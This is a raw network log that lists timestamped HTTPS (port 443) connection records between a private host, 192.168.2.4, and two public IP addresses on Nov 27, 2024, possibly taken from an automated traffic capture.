Nov 27, 2024 04:07:43.650620937 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.650655985 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:43.651112080 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:43.651118994 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.084258080 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.084326029 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.084376097 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.084525108 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.084549904 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.084562063 CET	49820	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.084568977 CET	443	49820	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.088536978 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.088577986 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.088638067 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.089018106 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.089034081 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.980664968 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.981281996 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.981323004 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:44.981765985 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:44.981771946 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.126188040 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.126682997 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.126708984 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.127171993 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.127178907 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.294101000 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.294765949 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.294802904 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.295212030 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.295217991 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.387854099 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.388478041 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.388497114 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.388880968 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.388885975 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.415560961 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.415642023 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.415726900 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.415910959 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.415935993 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.415947914 CET	49821	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.415956974 CET	443	49821	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.419023991 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.419059038 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.419282913 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.419333935 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.419339895 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.569943905 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.570009947 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.570101023 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.570317984 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.570344925 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.570355892 CET	49822	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.570363998 CET	443	49822	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.573298931 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.573340893 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.573431015 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.573626041 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.573640108 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.738148928 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.738348007 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.738430023 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.738487959 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.738507986 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.738518000 CET	49823	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.738523960 CET	443	49823	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.741453886 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.741569996 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.741684914 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.741872072 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.741909981 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.808609962 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.809142113 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.809168100 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.809597015 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.809602976 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.842014074 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.842067003 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.842154980 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.843777895 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.843777895 CET	49824	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.843791008 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.843800068 CET	443	49824	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.846473932 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.846513033 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:45.846597910 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.846729040 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:45.846743107 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:46.243930101 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:46.244002104 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:46.244066954 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:46.244271994 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:46.244294882 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:46.244307041 CET	49825	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:46.244313002 CET	443	49825	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:46.246766090 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:46.246819019 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:46.246983051 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:46.247129917 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:46.247143030 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.264271021 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.267410040 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.267438889 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.267942905 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.267949104 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.288353920 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.288960934 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.288985014 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.289846897 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.289854050 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.588850021 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.589391947 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.589426041 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.589793921 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.589798927 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.626822948 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.627408981 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.627435923 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.627887964 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.627892971 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.721077919 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.721184015 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.721338987 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.721468925 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.721487045 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.721498013 CET	49826	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.721503019 CET	443	49826	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.724246979 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.724313021 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.724396944 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.724570036 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.724587917 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.813070059 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.813189030 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.813266039 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.813460112 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.813484907 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.813496113 CET	49827	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.813502073 CET	443	49827	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.816082001 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.816140890 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:47.816224098 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.816354990 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:47.816370964 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.042056084 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.042154074 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.042218924 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.042377949 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.042401075 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.042411089 CET	49828	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.042416096 CET	443	49828	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.045030117 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.045068979 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.045141935 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.046591997 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.046608925 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.092411995 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.114639044 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.114675999 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.115262985 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.115268946 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.149132967 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.149205923 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.149261951 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.149476051 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.149496078 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.149508953 CET	49829	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.149517059 CET	443	49829	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.152170897 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.152224064 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.152308941 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.152467012 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.152482033 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.546098948 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.546221972 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.546293020 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.547559977 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.547585964 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.547600985 CET	49830	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.547605991 CET	443	49830	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.550040007 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.550069094 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:48.550151110 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.550280094 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:48.550295115 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.056382895 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:49.056452990 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:49.056504011 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:49.578665018 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.579256058 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:49.579294920 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.579709053 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:49.579715014 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.600187063 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.600761890 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:49.600788116 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.601155996 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:49.601165056 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.832351923 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.832813978 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:49.832838058 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:49.833306074 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:49.833311081 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.001426935 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.001880884 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.001919985 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.002456903 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.002465010 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.032887936 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.032975912 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.033029079 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.033152103 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.033173084 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.033202887 CET	49831	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.033209085 CET	443	49831	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.035969019 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.036012888 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.036083937 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.036299944 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.036323071 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.045358896 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.045422077 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.045470953 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.045607090 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.045607090 CET	49832	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.045625925 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.045638084 CET	443	49832	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.047847033 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.047887087 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.047947884 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.048134089 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.048147917 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.078257084 CET	49809	443	192.168.2.4	142.250.181.68
Nov 27, 2024 04:07:50.078273058 CET	443	49809	142.250.181.68	192.168.2.4
Nov 27, 2024 04:07:50.279603958 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.279695034 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.279817104 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.279999018 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.280020952 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.280042887 CET	49833	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.280049086 CET	443	49833	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.282803059 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.282855034 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.283096075 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.283096075 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.283128977 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.345254898 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.346185923 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.346185923 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.346213102 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.346221924 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.454886913 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.454950094 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.455034018 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.455243111 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.455243111 CET	49834	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.455275059 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.455286980 CET	443	49834	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.458079100 CET	49839	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.458128929 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.458343029 CET	49839	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.458343029 CET	49839	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.458379984 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.789251089 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.789316893 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.789690971 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.789690971 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.790177107 CET	49835	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.790190935 CET	443	49835	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.792550087 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.792573929 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:50.792838097 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.792838097 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:50.792859077 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:51.820390940 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:51.821130037 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:51.821146011 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:51.821497917 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:51.821506023 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:51.849869013 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:51.850308895 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:51.850325108 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:51.850728989 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:51.850734949 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:51.999528885 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.000047922 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.000080109 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.000504017 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.000513077 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.267476082 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.267564058 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.267613888 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.267858982 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.267883062 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.267896891 CET	49836	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.267903090 CET	443	49836	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.271075010 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.271136045 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.271207094 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.271365881 CET	49841	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.271380901 CET	443	49841	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.293790102 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.293864012 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.293910027 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.294105053 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.294126987 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.294142008 CET	49837	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.294147968 CET	443	49837	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.297041893 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.297072887 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.297178030 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.297344923 CET	49842	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.297360897 CET	443	49842	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.339616060 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.340058088 CET	49839	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.340084076 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.340522051 CET	49839	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.340529919 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.434359074 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.434433937 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.434489012 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.434679031 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.434701920 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.434712887 CET	49838	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.434719086 CET	443	49838	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.437593937 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.437650919 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.437727928 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.437889099 CET	49843	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.437906027 CET	443	49843	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.679402113 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.679909945 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.679930925 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.680377007 CET	49840	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.680381060 CET	443	49840	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.783612013 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.783679008 CET	443	49839	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:52.783735037 CET	49839	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:52.783917904 CET	49839	443	192.168.2.4	13.107.246.63
